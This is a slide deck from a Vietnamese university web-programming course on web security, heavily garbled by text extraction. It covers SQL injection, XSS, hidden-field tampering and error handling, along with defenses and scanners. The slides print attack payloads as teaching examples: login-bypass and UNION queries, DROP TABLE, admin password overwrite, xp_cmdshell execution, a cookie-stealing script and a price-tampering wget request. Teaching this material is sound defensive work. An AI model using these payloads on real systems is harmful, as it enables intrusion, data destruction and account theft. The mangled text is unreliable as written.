Thitk & Lp trình Web 2
Bài 11
Web SecurityWeb Security
Ths. TrnTh Bích Hnh
Khoa CNTT Khoa CNTT –– H.KHTNH.KHTN
© 2009 Khoa Công ngh thông tin
Thitk & Lp trình Web 2 – Bài 11: Web Security
NiNi
dungdung
NiNi
dungdung
Mts khái nimv Bomt
Mts l hng bomt Web & cách phòng tránh
Các Công c h tr kimtrabomtWeb
© 2009 Khoa CNTT - HKHTN
2
Thitk & Lp trình Web 2 – Bài 11: Web Security
NiNi
dungdung
NiNi
dungdung
Mts khái nimv Bomt
Mts l hng bomt Web & cách phòng tránh
Các Công c h tr kimtrabomtWeb
© 2009 Khoa CNTT - HKHTN
3
Thitk & Lp trình Web 2 – Bài 11: Web Security
Threats & VulnerabilityThreats & Vulnerability
Threats
&
VulnerabilityThreats
&
Vulnerability
Threats
–
Hành đng hocs kin gây hi đ
nh th
ng
Vulnerability
– L hng hoc đimyucah thng mà tđó cho phép
i
khá
â
h
à
h
th
ng
i
khá
cx
â
mn
h
pv
à
o
h
th
ng
© 2009 Khoa CNTT - HKHTN
4
Thitk & Lp trình Web 2 – Bài 11: Web Security
Malicious SoftwareMalicious Software
Malicious
SoftwareMalicious
Software
Virus
–
Các chng trình có kh nng t nhân bn và lây nhi
mvào
các tp tin trên máy tính
–
Khi
ngi
dùng
thc
thi
mt
tp
tin
b
nhim
virus
s
kích
–
Khi
ngi
dùng
thc
thi
mt
tp
tin
b
nhim
virus
s
kích
hot virus hot đng
Tro
j
an
j
– Chng trình thu thp thông tin d liut máy tính
W
o
rm
o
– Các chng trình có kh nng nhân bnt máy tính này
sang máy tính khác nhmmctiêuchimthigianx lý CPU
à
thi
i
đ
ó
hú
© 2009 Khoa CNTT - HKHTN
v
à
thi
g
i
an
đ
x
ó
ac
hú
ng
5
Thitk & Lp trình Web 2 – Bài 11: Web Security
BoBo
vv
ngng
dngdng
BoBo
vv
ngng
dngdng
S dng Firewall
S dng Chng trình Anti-virus
S dng Chng trình Anti-spyware
© 2009 Khoa CNTT - HKHTN
6
Thitk & Lp trình Web 2 – Bài 11: Web Security
Password CrackingPassword Cracking
Password
CrackingPassword
Cracking
Phng pháp lumtkhu
–
Không mã hóa
– Mã hóa 2 chiu
M
hó
1
hi
–
M
ã
hó
a
1
c
hi
u
Password cracking
– Brute force attack
– Dictionary attack
© 2009 Khoa CNTT - HKHTN
7
Thitk & Lp trình Web 2 – Bài 11: Web Security
KhôngKhông
mãmã
hóahóa
mtmt
khukhu
KhôngKhông
mãmã
hóahóa
mtmt
khukhu
© 2009 Khoa CNTT - HKHTN
8
Thitk & Lp trình Web 2 – Bài 11: Web Security
MãMã
hóahóa
22
chiuchiu
MãMã
hóahóa
2
2
chiuchiu
© 2009 Khoa CNTT - HKHTN
9
Thitk & Lp trình Web 2 – Bài 11: Web Security
MãMã
hóahóa
11
chiuchiu
MãMã
hóahóa
1
1
chiuchiu
© 2009 Khoa CNTT - HKHTN
10
Thitk & Lp trình Web 2 – Bài 11: Web Security
Password CrackingPassword Cracking
Password
CrackingPassword
Cracking
© 2009 Khoa CNTT - HKHTN
11
Thitk & Lp trình Web 2 – Bài 11: Web Security
Password Cracking (Password Cracking (
tttt
))
Password
Cracking
(Password
Cracking
(
tttt
))
Brute force attack
–
Mã hóa hàng ngàn passwords có s
nb
ng hàm hash
– So sánh ktqu vid liu hash trong database
Dictionary attack
– Lu danh sách các username & password thông dng
– Dùng các thông tin này đ thđng nhph thng
© 2009 Khoa CNTT - HKHTN
12
Thitk & Lp trình Web 2 – Bài 11: Web Security
BoBo
vv
mtmt
khukhu
BoBo
vv
mtmt
khukhu
Giihns ln đng nhpthtbi
S
d
t
kh
h
(t d)
S
d
ng m
t
kh
umn
h
(
s
t
rong passwor
d)
– Chiu dài tithiu
–
Không
s
dng
các
t
trong
t
đin
dãy
ký
t
liên
tip
Không
s
dng
các
t
trong
t
đin
,
dãy
ký
t
liên
tip
– Kthpch cái, kí t s, kí tđcbit
Chng thcngi dùng khi đi & reset mtkhu
– Khi thay đimtkhu, nên chng thclingi dùng: mtkhuc,
tài khonngi dùng…
Khi
nhn
đc
yêu
cu
reset
mt
khu
cng
nên
xác
nhn
li
yêu
–
Khi
nhn
đc
yêu
cu
reset
mt
khu
,
cng
nên
xác
nhn
li
yêu
cu reset
S dng các giao thc đáng tin cykhix lý mtkhu
© 2009 Khoa CNTT - HKHTN
13
Thitk & Lp trình Web 2 – Bài 11: Web Security
EE
mail Attacksmail Attacks
EE
mail
Attacksmail
Attacks
E-mail Bombing
Gi
ù
t
il
hi
l
đ
t
–
Gi
c
ù
ng m
t
ema
il
n
hi
u
l
n
đ
nm
t
use
r
– Mctiêuchim đng truynvàx lý ca mail server
E-mail Spamming
– Gi email đn nhiuuser
– Thng s dng mailing list
© 2009 Khoa CNTT - HKHTN
14
Thitk & Lp trình Web 2 – Bài 11: Web Security
BoBo
vv
EmailEmail
BoBo
vv
EmailEmail
Không hinthđach email trên web
<a href=mailto:>Gui mail</a>
S dng hình nh hockýtđtbit đ thay th
Ttbhanh at fit dot hcmuns dot edu dot vn
Thitlp rule cho mailing list ch nhn email t mail nib
S dng CAPCHA đ phòng nhpliutđng…
© 2009 Khoa CNTT - HKHTN
15
Thitk & Lp trình Web 2 – Bài 11: Web Security
DenialDenial
ofof
Service (Service (
DoSDoS
) Attacks) Attacks
DenialDenial
ofof
Service
(Service
(
DoSDoS
)
Attacks)
Attacks
Gi liên tip nhiuyêucu đn server
Mctiêu
– Chim đng truynmng
– Chnktnigia hai máy tính
– Làm cho server không có kh nng phcv client
© 2009 Khoa CNTT - HKHTN
16
Thitk & Lp trình Web 2 – Bài 11: Web Security
DoSDoS
AttacksAttacks
DoSDoS
AttacksAttacks
© 2009 Khoa CNTT - HKHTN
17
Thitk & Lp trình Web 2 – Bài 11: Web Security
NiNi
dungdung
NiNi
dungdung
Mts khái nimv Bomt
Mts l hng bomt Web & cách phòng tránh
Các Công c h tr kimtrabomtWeb
© 2009 Khoa CNTT - HKHTN
18
Thitk & Lp trình Web 2 – Bài 11: Web Security
MtMt
ss
ll
hnghng
bobo
mtmt
Web &Web &
cáchcách
phòngphòng
tránhtránh
MtMt
ss
ll
hnghng
bobo
mtmt
Web
&
Web
&
cáchcách
phòngphòng
tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
19
Thitk & Lp trình Web 2 – Bài 11: Web Security
MtMt
ss
ll
hnghng
bobo
mtmt
Web &Web &
cáchcách
phòngphòng
tránhtránh
MtMt
ss
ll
hnghng
bobo
mtmt
Web
&
Web
&
cáchcách
phòngphòng
tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
20
Thitk & Lp trình Web 2 – Bài 11: Web Security
SQL InjectionSQL Injection
Mtk thut cho phép nhng k tn công li
d
l
h
t
i
ki
t
d
li
h
SQL
Injection
SQL
Injection
d
ng
l
h
ng
t
rong v
i
c
ki
m
t
ra
d
li
un
h
p
trong các ng dng web và các thông báo lica
h
qun
tr
c
s
d
liu
đ
đa
vào
và
thi
hành
h
qun
tr
c
s
d
liu
đ
đa
vào
và
thi
hành
các câu lnh SQL bthp pháp
© 2009 Khoa CNTT - HKHTN
21
Thitk & Lp trình Web 2 – Bài 11: Web Security
CácCác
dngdng
tntn
côngcông
SQL InjectionSQL Injection
CácCác
dngdng
tntn
côngcông
SQL
InjectionSQL
Injection
Vt qua kimtralúcđng nhp (authorization bypass)
Lyd liu
Thay đid liu
Githcthichng trình khác
© 2009 Khoa CNTT - HKHTN
22
Thitk & Lp trình Web 2 – Bài 11: Web Security
VtVt
KimKim
tratra
lúclúc
đngđng
nhpnhp
VtVt
KimKim
tratra
lúclúc
đngđng
nhpnhp
Câu SQL thng dùng trong đng nhp:
strSQL = "SELECT * FROM Users "
+ "WHERE Username='" + strUsername + "'"
+ " and Password=
'" + strPassword + "'"
© 2009 Khoa CNTT - HKHTN
23
Thitk & Lp trình Web 2 – Bài 11: Web Security
VtVt
KimKim
tratra
lúclúc
đngđng
nhpnhp
((
tttt
))
VtVt
KimKim
tratra
lúclúc
đngđng
nhpnhp
((
tttt
))
vt qua, ngi dùng nhp:
strUsername: ' or '' = '
strPassword: ' or '' = '
Câu
SQL
lúc
này
:
Câu
SQL
lúc
này
:
SELECT * FROM Users
Where Username =
'' or '' = ''
and Password = '' or '' = ''
Câu SQL này luôn đúng, và tr v ttc thông tin trong bng Users
© 2009 Khoa CNTT - HKHTN
Câu
SQL
này
luôn
đúng,
và
tr
v
tt
c
thông
tin
trong
bng
Users
24
Thitk & Lp trình Web 2 – Bài 11: Web Security
LyLy
dd
liuliu
SS
dngdng
câucâu
SelectSelect
Xem chi tit1 bn tin
h// h /h ?ID
123
LyLy
dd
liuliu
SS
dngdng
câucâu
Select
Select
–
h
ttp:
//
www.my
h
ost.com
/
s
h
ownews.aspx
?ID
=
123
– Code x lý
string ID = Request.QueryString[“ID"];
string strSQL =
"select * from News
where NewsID
="
+ID
;
where
NewsID
+
ID
;
Nungi dùng thay ch 123 bng chui 0 or 1=1
Khi đó câu lnh SQL:
– select * from News where NewsID=0 or 1=1
© 2009 Khoa CNTT - HKHTN
Kt qu là s hin tt c tin tc
25
Thitk & Lp trình Web 2 – Bài 11: Web Security
LyLy
dd
liuliu
SS
dngdng
câucâu
Select & UnionSelect & Union
LyLy
dd
liuliu
SS
dngdng
câucâu
Select
&
UnionSelect
&
Union
Mts ví d khác
' UNION SELECT ALL SELECT OtherField FROM
OtherTable WHERE ' '='
nu h thng báo li v cú pháp dng: Invalid object name
“OtherTable”; ta có th bit chc là h thng đã thc hin câu SELECT
sau t khóa UNION
' UNION SELECT name FROM sysobjects WHERE
xtype = 'U'
Lit kê tên tt c các bng d liu
© 2009 Khoa CNTT - HKHTN
26
Thitk & Lp trình Web 2 – Bài 11: Web Security
ThayThay
điđi
dd
liuliu
SS
dngdng
câucâu
lnhlnh
InsertInsert
ThayThay
điđi
dd
liuliu
SS
dngdng
câucâu
lnhlnh
InsertInsert
Câu lnh dùng:
string strSQL = "INSERT INTO TableName "
+ "VALUES('" +
strValue1 + "','" + strValue2 + "','“
tVl 3
"')"
+ s
t
r
V
a
l
ue
3
+
"')"
Nungi dùng nhptrng th nht (strValue1)
' (SELECT TOP 1
Fi ldN
FROM
TblN
)'
'
+
(SELECT
TOP
1
Fi
e
ldN
ame
FROM
T
a
bl
e
N
ame
)
+
'
Khi đócâulnh SQL:
INSERT INTO
TblN
VALUES(''+(
SELECT TOP 1
INSERT
INTO
T
a
bl
e
N
ame
VALUES('
'
+
(
SELECT
TOP
1
FieldName FROM TableName) + ' ', 'abc', 'def')
Ngoài
lnh
Insert,
thì
câu
lnh
này
còn
thc
hin
lnh
Select
© 2009 Khoa CNTT - HKHTN
Ngoài
lnh
Insert,
thì
câu
lnh
này
còn
thc
hin
lnh
Select
27
Thitk & Lp trình Web 2 – Bài 11: Web Security
ThayThay
điđi
dd
liuliu
––
SS
dngdng
câucâu
lnhlnh
Update & DropUpdate & Drop
ThayThay
điđi
dd
liuliu
––
SS
dngdng
câucâu
lnhlnh
Update
&
DropUpdate
&
Drop
; DROP TABLE <Tên Table>
Xóa bng d liu
; UPDATE USERS SET EMAIL=‘your email’ WHERE
username=‘admin’
‘O SSS SSO‘ ’
To đach email mi sau đós dng chcnng password recovery
‘
UNI
O
N UPDATE U
S
ER
S
S
ET PA
SS
W
O
RD=
‘
your pass
’
WHERE username=‘admin’
Thitl
p
m
tkhumi
© 2009 Khoa CNTT - HKHTN
28
p
Thitk & Lp trình Web 2 – Bài 11: Web Security
GiGi
thcthc
thithi
chngchng
trìnhtrình
kháckhác
SS
dngdng
storedstored
proceduresprocedures
Thcthivi quynquntr h thng ‘sa’
GiGi
thcthc
thithi
chngchng
trìnhtrình
kháckhác
SS
dngdng
storedstored
proceduresprocedures
–
'; EXEC xp_cmdshell 'cmd.exe dir C:'
Thc hin lnh lit kê th mc trên đa C:\ cài đt server
Vi
c
p
há ho
ikiunàotu
thu
c vào câu l
nh đn
g
sau
p
g
cmd.exe.
© 2009 Khoa CNTT - HKHTN
29
Thitk & Lp trình Web 2 – Bài 11: Web Security
Cách phòng tránhCách phòng tránh
Cách
phòng
tránh
Cách
phòng
tránh
Kim soát chtch d liunhpvào
–
Vi
t hàm lccáckýtđcbit trong chu
inhpvào
– Vd: " ", "'", ";", " ", "xp_", "select",
"
drop
"
,
"
insert
"
,
"
delete
"
drop ,
insert ,
delete
Thit
l
hì h
tà
h
h
t
d
li
Thit
l
pc
u
hì
n
h
an
t
o
à
nc
h
o
h
qu
n
t
r
c s
d
li
u
– Giihn quynx lí d liu đntàikhonngi dùng
Tránh
dùng
đn
các
quyn
nh
dbo
hay
sa
–
Tránh
dùng
đn
các
quyn
nh
dbo
hay
sa
.
© 2009 Khoa CNTT - HKHTN
Thitk & Lp trình Web 2 – Bài 11: Web Security
MtMt
ss
ll
hnghng
bobo
mtmt
Web &Web &
cáchcách
phòngphòng
tránhtránh
MtMt
ss
ll
hnghng
bobo
mtmt
Web
&
Web
&
cáchcách
phòngphòng
tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
31
Thitk & Lp trình Web 2 – Bài 11: Web Security
XSS (CrossXSS (Cross
Site Scripting)Site Scripting)
XSS
(CrossXSS
(Cross
Site
Scripting)Site
Scripting)
Mtk thut cho phép nhng k tn công lidng l hng
trong
vic
kim
tra
d
liu
nhp
trong
các
ng
dng
trong
vic
kim
tra
d
liu
nhp
trong
các
ng
dng
web và các thông báo linhm chèn nhng đon mã
script nguy him có th gây nguy hi cho nhng
ngi s dng
© 2009 Khoa CNTT - HKHTN
32
Thitk & Lp trình Web 2 – Bài 11: Web Security
Phát
hin
l
hng
XSS
Phát
hin
l
hng
XSS
1. Vào website cnkimtra
2. nh v các form nhpliu:
search, login form,
querystring
querystring
…
3. Nhphoc chèn đon script
vào
form
nhp
liu
hoc
vào
form
nhp
liu
hoc
trên đng dnurl&
submit. Ví d
<script>alert(‘XSS’);</script>
4. Nuthycas alert xut
hin
thì
website
có
l
hng
© 2009 Khoa CNTT - HKHTN
hin
thì
website
có
l
hng
XSS
33
Ref: />Thitk & Lp trình Web 2 – Bài 11: Web Security
PhátPhát
hinhin
ll
hnghng
XSSXSS
––
VíVí
dd
PhátPhát
hinhin
ll
hnghng
XSS
XSS
––
VíVí
dd
© 2009 Khoa CNTT - HKHTN
34
Thitk & Lp trình Web 2 – Bài 11: Web Security
TnTn
côngcông
XSSXSS
TnTn
côngcông
XSSXSS
© 2009 Khoa CNTT - HKHTN
35
Thitk & Lp trình Web 2 – Bài 11: Web Security
TnTn
côngcông
XSSXSS
––
VíVí
dd
TnTn
côngcông
XSS
XSS
––
VíVí
dd
<script>
i=new Image();
i.src=" +
© 2009 Khoa CNTT - HKHTN
36
escape(document.cookie);
</script>
Thitk & Lp trình Web 2 – Bài 11: Web Security
CáchCách
phòngphòng
tránhtránh
CáchCách
phòngphòng
tránhtránh
Kimtrad liunhpt ngi dùng
–
Ch ch
pnhnnhn
g
d
liuhpl
– Lc các ký tđcbit
–
Phát hin các th script
Mã hoá (encoding) các kí tđcbittrc khi in ra website
nhmngnchn website t thc thi các script không mong
mun
mun
© 2009 Khoa CNTT - HKHTN
37
Thitk & Lp trình Web 2 – Bài 11: Web Security
MtMt
ss
ll
hnghng
bobo
mtmt
Web &Web &
cáchcách
phòngphòng
tránhtránh
MtMt
ss
ll
hnghng
bobo
mtmt
Web
&
Web
&
cáchcách
phòngphòng
tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
38
Thitk & Lp trình Web 2 – Bài 11: Web Security
Hidden Field VulnerabilityHidden Field Vulnerability
Hidden
Field
VulnerabilityHidden
Field
Vulnerability
Là thông tin n trong trang web, đcth hindith
<input type=“hidden” value=“xyz” />
Không hinth lên trình duyt
Có th xem đcvichcnng View Source
© 2009 Khoa CNTT - HKHTN
39
Thitk & Lp trình Web 2 – Bài 11: Web Security
Hidden Field VulnerabilityHidden Field Vulnerability
––
VíVí
dd
Hidden
Field
Vulnerability
Hidden
Field
Vulnerability
––
VíVí
dd
<form id="frmThanhToan" name=" frmThanhToan " method=“POST" action="thanhtoan.php">
<p>S lng snphmcn mua:
<
input name="sosanpham" type="text" id="sosanpham" size="10"/>
(snphm)
</p>
<p>Mã s th tín dng
<
input name="masothe" type="text" id="masothe" size="20"/>
<
input
name
="
thanhtoan
"
type
="
submit
"
id
="
thanhtoan
"
value
="
ok
"
/
>
© 2009 Khoa CNTT - HKHTN
input
name
thanhtoan
type
submit
id
thanhtoan
value
ok
/
</p>
<
input type="hidden" name="gia" value="10000000" />
</
form>
40
Thitk & Lp trình Web 2 – Bài 11: Web Security
MôMô
hìnhhình
xx
lýlý
MôMô
hìnhhình
xx
lýlý
// thanhtoan.php
if
(
$
REQUEST
["
hh
"] " k")
if
(
$
_
REQUEST
["
t
h
an
h
toan
"]
==
"
o
k")
{
$tongtien=$_
REQUEST["gia"] * $_REQUEST["sosanpham"];
printf
("
Tng
giá
tin
:
%
d
VND"
$
tongtien
)
;
© 2009 Khoa CNTT - HKHTN
41
printf
("
Tng
giá
tin
:
%
d
VND"
,
$
tongtien
)
;
}
Thitk & Lp trình Web 2 – Bài 11: Web Security
TnTn
côngcông
TnTn
côngcông
Wget - -post-data “gia=1000&thanhtoan=ok&sosanpham=1”
h //l lh /S i / h h h
© 2009 Khoa CNTT - HKHTN
42
h
ttp:
//l
oca
lh
ost
/S
ecur
i
ty
/
t
h
an
h
toan.p
h
p
Thitk & Lp trình Web 2 – Bài 11: Web Security
CáchCách
phòngphòng
tránhtránh
CáchCách
phòngphòng
tránhtránh
Mã hóa d liulu trong Hidden Fields
Không lucácd liunhycm trong Hidden Fields
© 2009 Khoa CNTT - HKHTN
43
Thitk & Lp trình Web 2 – Bài 11: Web Security
MtMt
ss
ll
hnghng
bobo
mtmt
Web &Web &
cáchcách
phòngphòng
tránhtránh
MtMt
ss
ll
hnghng
bobo
mtmt
Web
&
Web
&
cáchcách
phòngphòng
tránhtránh
SQL Injection
XSS (Cross-Site Scripting)
Hidden Field Vulnerability
Failing to Handle Error
© 2009 Khoa CNTT - HKHTN
44
Thitk & Lp trình Web 2 – Bài 11: Web Security
Failing to Handle ErrorFailing to Handle Error
Failing
to
Handle
ErrorFailing
to
Handle
Error
H thng không t x lý livàđ các thông báo lichi tit
hin
th
nhng
thông
tin
quan
trng
giúp
k
tn
công
xâm
hin
th
nhng
thông
tin
quan
trng
giúp
k
tn
công
xâm
nhph thng
© 2009 Khoa CNTT - HKHTN
45
Thitk & Lp trình Web 2 – Bài 11: Web Security
Failing to Handle ErrorFailing to Handle Error
––
VíVí
dd
Failing
to
Handle
Error
Failing
to
Handle
Error
––
VíVí
dd
© 2009 Khoa CNTT - HKHTN
46
Thitk & Lp trình Web 2 – Bài 11: Web Security
Failing to Handle ErrorFailing to Handle Error
––
VíVí
dd
Failing
to
Handle
Error
Failing
to
Handle
Error
––
VíVí
dd
© 2009 Khoa CNTT - HKHTN
47
Thitk & Lp trình Web 2 – Bài 11: Web Security
CáchCách
phòngphòng
tránhtránh
CáchCách
phòngphòng
tránhtránh
Bt& X lý li
try {
…
} catch (Exception ex) {
…
}
T
hi
th
t
thô
bá
li
C
hì h
WbC fi
T
hi
n
th
t
rang
thô
ng
bá
o
li
–
C
u
hì
n
h
W
e
b
.
C
on
fi
g
<customErrors mode="On" defaultRedirect="ErrorPage.htm">
<error
statusCode
="
404
"
redirect
="
NotFound htm
"
/>
<error
statusCode
404
redirect NotFound
.
htm
/>
<error statusCode="500" redirect=“ServerError.htm" />
</customErrors>
© 2009 Khoa CNTT - HKHTN
/>48
Thitk & Lp trình Web 2 – Bài 11: Web Security
NiNi
dungdung
NiNi
dungdung
Mts khái nimv Bomt
Mts l hng bomt Web & cách phòng tránh
Các Công c h tr kimtrabomtWeb
© 2009 Khoa CNTT - HKHTN
49
Thitk & Lp trình Web 2 – Bài 11: Web Security
CácCác
côngcông
cc
hh
trtr
kimkim
tratra
bobo
mtmt
WebWeb
CácCác
côngcông
cc
hh
trtr
kimkim
tratra
bobo
mtmt
WebWeb
Nikto
–
Open Source (GPL) web server scanne
r
Paros Proxy
– Cho phép xem/sa HTTP/HTTPS messages on-
the-fly đ thay đi cookies, form fields,…
Ati
WVS
A
cune
ti
x
WVS
– Commercial Web Vulnerability Scanner
…
© 2009 Khoa CNTT - HKHTN
Ref: />50
Thitk & Lp trình Web 2 – Bài 11: Web Security
Công c h tr kimtrabomtCông c h tr kimtrabomt
Công
c
h
tr
kim
tra
bo
mtCông
c
h
tr
kim
tra
bo
mt
Web Vulnerabilit
y
Scanne
r
y
- Quét l
i
- Quét cng
- Scan cutrúcWebsite
- Kimtramc đ bomtwebsite
© 2009 Khoa CNTT - HKHTN
- Download: www.acunetix.com
51
Thitk & Lp trình Web 2 – Bài 11: Web Security
© 2009 Khoa CNTT - HKHTN
Thitk & Lp trình Web 2 – Bài 11: Web Security
© 2009 Khoa CNTT - HKHTN
Thitk & Lp trình Web 2 – Bài 11: Web Security
TngTng
ktkt
TngTng
ktkt
Threats
–
Virus, Worm & Trojan
– Brute force attack & Dictionary attack
E
ilBbi&EilS i
–
E
-ma
il
B
om
bi
ng
&
E
ma
il
S
pamm
i
ng
– Denial-of-Service (DoS) Attacks
Web Vulnerabilities
– SQL Injection
C Si S i i (XSS)
–
C
ross
Si
te
S
cr
i
pt
i
ng
(XSS)
– Hidden Fields Vulnerability
F ili t h dl
© 2009 Khoa CNTT - HKHTN
–
F
a
ili
ng
t
o
h
an
dl
e errors
54